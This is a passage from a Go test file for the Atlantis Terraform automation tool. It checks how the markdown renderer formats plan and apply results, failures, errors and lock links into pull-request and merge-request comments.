tfOut,\n\t\t\t\t\t\tLockURL:         \"staging-lock-url\",\n\t\t\t\t\t\tApplyCmd:        \"staging-apply-cmd\",\n\t\t\t\t\t\tRePlanCmd:       \"staging-replan-cmd\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\t{\n\t\t\t\tRepoRelDir: \".\",\n\t\t\t\tWorkspace:  \"production\",\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: tfOut,\n\t\t\t\t\t\tLockURL:         \"production-lock-url\",\n\t\t\t\t\t\tApplyCmd:        \"production-apply-cmd\",\n\t\t\t\t\t\tRePlanCmd:       \"production-replan-cmd\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tcmd := &events.CommentCommand{\n\t\tName:    command.Plan,\n\t\tVerbose: false,\n\t}\n\trendered := mr.Render(ctx, res, cmd)\n\texp := `\nRan Plan for 2 projects:\n\n1. dir: $.$ workspace: $staging$\n1. dir: $.$ workspace: $production$\n---\n\n### 1. dir: $.$ workspace: $staging$\n<details><summary>Show Output</summary>\n\n$$$diff\n` + tfOut + `\n$$$\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  staging-apply-cmd\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](staging-lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  staging-replan-cmd\n  $$$\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: $.$ workspace: $production$\n<details><summary>Show Output</summary>\n\n$$$diff\n` + tfOut + `\n$$$\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  production-apply-cmd\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](production-lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  production-replan-cmd\n  $$$\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`\n\tEquals(t, normalize(exp), normalize(rendered))\n}\n\n// Test rendering when there was an error in one of the plans and we deleted\n// all the plans as a result.\nfunc TestRenderProjectResults_PlansDeleted(t *testing.T) {\n\tcases := map[string]struct {\n\t\tres command.Result\n\t\texp string\n\t}{\n\t\t\"one failure\": {\n\t\t\tres: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPlansDeleted: true,\n\t\t\t},\n\t\t\texp: `\nRan Plan for dir: $.$ workspace: $staging$\n\n**Plan Failed**: failure\n`,\n\t\t},\n\t\t\"two failures\": {\n\t\t\tres: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\t\tWorkspace:  \"production\",\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPlansDeleted: true,\n\t\t\t},\n\t\t\texp: `\nRan Plan for 2 projects:\n\n1. dir: $.$ workspace: $staging$\n1. dir: $.$ workspace: $production$\n---\n\n### 1. dir: $.$ workspace: $staging$\n**Plan Failed**: failure\n\n---\n### 2. dir: $.$ workspace: $production$\n**Plan Failed**: failure\n\n---\n### Plan Summary\n\n2 projects, 0 with changes, 0 with no changes, 2 failed\n`,\n\t\t},\n\t\t\"one failure, one success\": {\n\t\t\tres: command.Result{\n\t\t\t\tProjectResults: []command.ProjectResult{\n\t\t\t\t\t{\n\t\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\t\tWorkspace:  \"staging\",\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tRepoRelDir: \".\",\n\t\t\t\t\t\tWorkspace:  \"production\",\n\t\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\t\tTerraformOutput: \"tf out\",\n\t\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\t\tRePlanCmd:       \"re-plan cmd\",\n\t\t\t\t\t\t\t\tApplyCmd:        \"apply cmd\",\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tPlansDeleted: true,\n\t\t\t},\n\t\t\texp: `\nRan Plan for 2 projects:\n\n1. dir: $.$ workspace: $staging$\n1. dir: $.$ workspace: $production$\n---\n\n### 1. dir: $.$ workspace: $staging$\n**Plan Failed**: failure\n\n---\n### 2. dir: $.$ workspace: $production$\n$$$diff\ntf out\n$$$\n\nThis plan was not saved because one or more projects failed and automerge requires all plans pass.\n\n---\n### Plan Summary\n\n2 projects, 1 with changes, 0 with no changes, 1 failed\n`,\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\tmr := events.NewMarkdownRenderer(\n\t\t\t\tfalse,      // gitlabSupportsCommonMark\n\t\t\t\tfalse,      // disableApplyAll\n\t\t\t\tfalse,      // disableApply\n\t\t\t\tfalse,      // disableMarkdownFolding\n\t\t\t\tfalse,      // disableRepoLocking\n\t\t\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\t\t\"atlantis\", // executableName\n\t\t\t\tfalse,      // hideUnchangedPlanComments\n\t\t\t\tfalse,      // quietPolicyChecks\n\t\t\t)\n\t\t\tlogger := logging.NewNoopLogger(t).WithHistory()\n\t\t\tlogText := \"log\"\n\t\t\tlogger.Info(logText)\n\t\t\tctx := &command.Context{\n\t\t\t\tLog: logger,\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\tType: models.Github,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\tcmd := &events.CommentCommand{\n\t\t\t\tName:    command.Plan,\n\t\t\t\tVerbose: false,\n\t\t\t}\n\t\t\trendered := mr.Render(ctx, c.res, cmd)\n\t\t\tEquals(t, normalize(c.exp), normalize(rendered))\n\t\t})\n\t}\n}\n\n// test that id repo locking is disabled the link to unlock the project is not rendered\nfunc TestRenderProjectResultsWithRepoLockingDisabled(t *testing.T) {\n\tcases := []struct {\n\t\tDescription    string\n\t\tCommand        command.Name\n\t\tProjectResults []command.ProjectResult\n\t\tVCSHost        models.VCSHostType\n\t\tExpected       string\n\t}{\n\t\t{\n\t\t\t\"no projects\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{},\n\t\t\tmodels.Github,\n\t\t\t\"Ran Plan for 0 projects:\\n\\n\",\n\t\t},\n\t\t{\n\t\t\t\"single successful plan\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful plan with main ahead\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tMergedAgain:     true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n:twisted_rightwards_arrows: Upstream was modified, a new merge was performed.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful plan with project name\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for project: $projectname$ dir: $path$ workspace: $workspace$\n\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful apply\",\n\t\t\tcommand.Apply,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for dir: $path$ workspace: $workspace$\n\n$$$diff\nsuccess\n$$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single successful apply with project name\",\n\t\t\tcommand.Apply,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for project: $projectname$ dir: $path$ workspace: $workspace$\n\n$$$diff\nsuccess\n$$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful plans\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output2\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for 2 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. project: $projectname$ dir: $path2$ workspace: $workspace$\n$$$diff\nterraform-output2\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path2 -w workspace\n  $$$\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path2 -w workspace\n  $$$\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful applies\",\n\t\t\tcommand.Apply,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tRepoRelDir:  \"path\",\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success2\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for 2 projects:\n\n1. project: $projectname$ dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n---\n\n### 1. project: $projectname$ dir: $path$ workspace: $workspace$\n$$$diff\nsuccess\n$$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n$$$diff\nsuccess2\n$$$\n\n---\n### Apply Summary\n\n2 projects, 2 successful, 0 failed, 0 errored\n`,\n\t\t},\n\t\t{\n\t\t\t\"single errored plan\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n**Plan Error**\n$$$\nerror\n$$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"single failed plan\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n**Plan Failed**: failure\n`,\n\t\t},\n\t\t{\n\t\t\t\"successful, failed, and errored plan\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path3\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n1. project: $projectname$ dir: $path3$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n**Plan Failed**: failure\n\n---\n### 3. project: $projectname$ dir: $path3$ workspace: $workspace$\n**Plan Error**\n$$$\nerror\n$$$\n\n---\n### Plan Summary\n\n3 projects, 1 with changes, 0 with no changes, 2 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"successful, failed, and errored apply\",\n\t\t\tcommand.Apply,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path3\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n1. dir: $path3$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nsuccess\n$$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n**Apply Failed**: failure\n\n---\n### 3. dir: $path3$ workspace: $workspace$\n**Apply Error**\n$$$\nerror\n$$$\n\n---\n### Apply Summary\n\n3 projects, 1 successful, 1 failed, 1 errored\n`,\n\t\t},\n\t\t{\n\t\t\t\"successful, failed, and errored apply\",\n\t\t\tcommand.Apply,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tApplySuccess: \"success\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tFailure: \"failure\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path3\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tError: errors.New(\"error\"),\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Apply for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. dir: $path2$ workspace: $workspace$\n1. dir: $path3$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nsuccess\n$$$\n\n---\n### 2. dir: $path2$ workspace: $workspace$\n**Apply Failed**: failure\n\n---\n### 3. dir: $path3$ workspace: $workspace$\n**Apply Error**\n$$$\nerror\n$$$\n\n---\n### Apply Summary\n\n3 projects, 1 successful, 1 failed, 1 errored\n`,\n\t\t},\n\t}\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\ttrue,       // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tctx := &command.Context{\n\t\tLog: logger,\n\t\tPull: models.PullRequest{\n\t\t\tBaseRepo: models.Repo{\n\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\tType: models.Github,\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\t\tif !verbose {\n\t\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\t\tEquals(t, normalize(c.Expected+\n\t\t\t\t\t\t\tfmt.Sprintf(\"<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log)), normalize(s))\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRenderProjectResultsWithGitLab(t *testing.T) {\n\tcases := []struct {\n\t\tDescription    string\n\t\tCommand        command.Name\n\t\tProjectResults []command.ProjectResult\n\t\tVCSHost        models.VCSHostType\n\t\tExpected       string\n\t}{\n\t\t{\n\t\t\t\"multiple successful plans\",\n\t\t\tcommand.Plan,\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output2\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Gitlab,\n\t\t\t`\nRan Plan for 2 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 2. project: $projectname$ dir: $path2$ workspace: $workspace$\n$$$diff\nterraform-output2\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path2 -w workspace\n  $$$\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path2 -w workspace\n  $$$\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Merge Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Merge Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t}\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\ttrue,       // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) 